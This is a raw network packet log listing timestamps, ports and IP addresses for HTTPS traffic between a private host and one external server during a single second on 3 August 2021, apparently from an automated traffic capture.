Aug 3, 2021 20:39:47.223242998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223249912 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.223265886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223288059 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.223335981 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.224345922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.224370003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.224447966 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.244515896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.244625092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.244669914 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.244712114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.244751930 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.244791031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.244828939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.244888067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.244919062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.244951010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.244982958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245023012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245062113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245099068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245135069 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.245138884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245163918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.245167017 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.245168924 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.245171070 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.245181084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245203972 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.245229959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245274067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245285988 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.245313883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245354891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245395899 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245417118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.245433092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245472908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245486975 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.245512962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.245548010 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.262896061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.263055086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.263319016 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.363502026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.363719940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.363742113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.363905907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.390278101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.390341043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.390522957 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.391211987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.391256094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.391297102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.391335011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.391393900 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.391433001 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.399296999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.399342060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.399389982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.399436951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.399477005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.399463892 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.399580002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.399599075 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.402976036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403043985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403107882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403199911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403249025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403285027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.403300047 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403318882 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.403346062 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.403353930 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403403997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403446913 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403484106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403518915 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.403522015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403534889 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.403563976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403601885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403640032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403677940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403717995 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.403726101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403769016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403784037 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.403806925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403846025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403883934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403892994 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.403922081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403942108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.403959990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.403985023 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.403999090 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.404002905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404050112 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404092073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404129028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404141903 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.404166937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404181004 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.404206991 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404242992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404282093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404289961 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.404319048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404325008 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.404366016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404407978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404444933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404458046 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.404484987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404485941 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.404522896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404561996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404602051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.404611111 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.404648066 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.425314903 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425373077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425411940 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425453901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425492048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425540924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425571918 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.425589085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425591946 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.425595045 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.425627947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425668955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425707102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425733089 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.425744057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425774097 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.425782919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425821066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425826073 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.425868988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425911903 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425951004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.425964117 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.425990105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.426003933 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.426028967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.426067114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.426105022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.426120043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.426143885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.426171064 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.426191092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.426234961 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.426242113 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.426273108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.428663015 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.443435907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.443492889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.443531036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.443664074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.543943882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.544070959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.544790030 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.570276022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.570306063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.570401907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.571183920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.571243048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.571283102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.571321964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.571330070 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.571414948 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.579231977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.579292059 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.579338074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.579375982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.579381943 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.579413891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.579421043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.579466105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.579521894 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.584805965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.584831953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.584846973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.584861040 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.584876060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.584892988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.584914923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.584933996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.584953070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.584954977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.584970951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.584975958 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.584989071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585005999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585024118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585041046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585062981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585083008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585099936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585117102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585134029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585139990 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585150003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585158110 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585165024 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585169077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585170031 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585174084 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585186005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585189104 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585207939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585228920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585241079 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585247993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585267067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585269928 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585285902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585303068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585309982 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585321903 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585340023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585352898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585366964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585376978 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585380077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585393906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585416079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585433960 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585433960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585452080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585455894 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585467100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585479021 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.585484028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.585524082 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606121063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606162071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606189013 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606215000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606220961 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606240988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606254101 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606266022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606293917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606319904 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606323957 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606353045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606369019 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606383085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606401920 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606406927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606434107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606447935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606458902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606484890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606506109 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606508970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606534958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606565952 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606566906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606596947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606618881 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606623888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606650114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606674910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606686115 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.606699944 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.606724024 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.608423948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.608448982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.608511925 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.623873949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.623915911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.623950958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.623980045 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.624036074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.725184917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.725248098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.725385904 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.751286983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.751347065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.751454115 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.751852989 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.751939058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.752002001 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.752002001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.752072096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.752118111 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.759011030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.759109020 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.759205103 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.759291887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.759393930 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.759453058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.759481907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.759512901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.759578943 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.765306950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.765392065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.765451908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.765480995 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.765511036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.765569925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.765572071 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.765686035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.765753984 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.765818119 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.765892982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.765953064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.765954971 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.766010046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766053915 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.766067028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766124964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766179085 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.766181946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766238928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766292095 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.766297102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766360998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766424894 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.766427994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766511917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766568899 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.766570091 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766628981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766680956 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.766685963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766745090 CEST	443	49756	207.241.228.148	192.168.2.4
